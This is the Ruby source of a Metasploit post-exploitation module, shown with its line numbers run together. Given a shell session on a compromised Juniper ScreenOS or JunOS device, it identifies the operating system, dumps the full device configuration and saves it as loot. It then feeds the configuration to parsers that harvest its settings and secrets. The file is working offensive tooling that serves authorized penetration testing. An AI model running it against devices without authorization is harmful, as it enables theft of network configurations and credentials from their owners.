Path: blob/master/modules/post/networking/gather/enum_juniper.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Juniper7include Msf::Exploit::Deprecated8moved_from 'post/juniper/gather/enum_juniper'9def initialize(info = {})10super(11update_info(12info,13'Name' => 'Juniper Gather Device General Information',14'Description' => %q{15This module collects a Juniper ScreenOS and JunOS device information and configuration.16},17'License' => MSF_LICENSE,18'Author' => [ 'h00die'],19'Platform' => [ 'juniper'],20'SessionTypes' => [ 'shell' ],21'Notes' => {22'Stability' => [CRASH_SAFE],23'SideEffects' => [IOC_IN_LOGS],24'Reliability' => []25}26)27)28end2930def run31# Get device prompt32prompt = session.shell_command('')3334os_type = 'junos'35command_prefix = ''36if prompt.end_with?('% ') # we're in an SSH shell37vprint_status('In an SSH shell')38command_prefix = 'cli '39elsif prompt.end_with?('-> ') # hit cli of ScreenOS, change the os_type40os_type = 'screenos'41elsif prompt.end_with?('> ') # cli of JunOS42vprint_status('In a cli shell')43elsif prompt.end_with?('# ') # we're in a cli>configure44vprint_status('In a cli>configure shell')45session.shell_command('quit') # gets us back to the cli non-config46elsif session.shell_command('?') =~ /\?: No match\./ # confirmed ssh shell47vprint_status('In an SSH shell')48command_prefix = 'cli '49end5051if os_type == 'screenos'52# Set terminal length to 0 so no paging is required53session.shell_write("term len 0 \n")54end5556# Get version info57print_status('Getting version information')58get_system_cmd = os_type.eql?('screenos') ? 'get system' : 'show configuration'59get_system_cmd = command_prefix + get_system_cmd60system_out = session.shell_command(get_system_cmd)61# https://github.com/h00die/MSF-Testing-Scripts/blob/master/juniper_strings.py#L262# https://kb.juniper.net/InfoCenter/index?page=content&id=KB648963if /^Product Name: (?<ver>SSG|NetScreen)/i =~ system_out64vprint_status("Original OS Guess #{os_type}, is now ScreenOS #{ver}")65os_type = 'screenos'66elsif /^Product Name: (?<ver>.+)/i =~ system_out67vprint_status("Original OS Guess #{os_type}, is now JunOS #{ver}")68os_type = 'junos'69elsif /^version (?<ver>[.\dR]+);/i =~ system_out70vprint_status("Original OS Guess #{os_type}, is now JunOS #{ver}")71os_type = 'junos'72end7374print_status("The device OS is #{os_type}")7576case os_type77when /screenos/78ver_loc = store_loot('juniper.screenos.config',79'text/plain',80session,81system_out.strip,82'config.txt',83'Juniper ScreenOS Config')84when /junos/85ver_loc = store_loot('juniper.junos.config',86'text/plain',87session,88system_out.strip,89'config.txt',90'Juniper JunOS Config')91end9293# Print the version of VERBOSE set to true.94vprint_good("Config information stored in to loot #{ver_loc}")9596# run additional information gathering97enum_configs(prompt, os_type, command_prefix)98end99100# run commands found in exec mode under privilege 1101def enum_configs(prompt, os_type, command_prefix)102host = session.session_host103port = session.session_port104exec_commands = [105{106'cmd' => { 'junos' => 'show configuration', 'screenos' => 'get config' },107'fn' => 'get_config',108'desc' => 'Get Device Config on Juniper Device'109},110]111exec_commands.each do |ec|112command = command_prefix + ec['cmd'][os_type]113cmd_out = session.shell_command(command).gsub(/#{command}|#{prompt}/, '')114next if cmd_out =~ /unknown keyword/ # screenOS115116print_status("Gathering info from #{command}")117cmd_loc = store_loot("juniper.#{ec['fn']}",118'text/plain',119session,120cmd_out.strip,121"#{ec['fn']}.txt",122ec['desc'])123vprint_good("Saving to #{cmd_loc}")124if os_type == 'screenos'125juniper_screenos_config_eater(host, port, cmd_out.strip)126elsif os_type == 'junos'127juniper_junos_config_eater(host, port, cmd_out.strip)128end129end130end131end132133134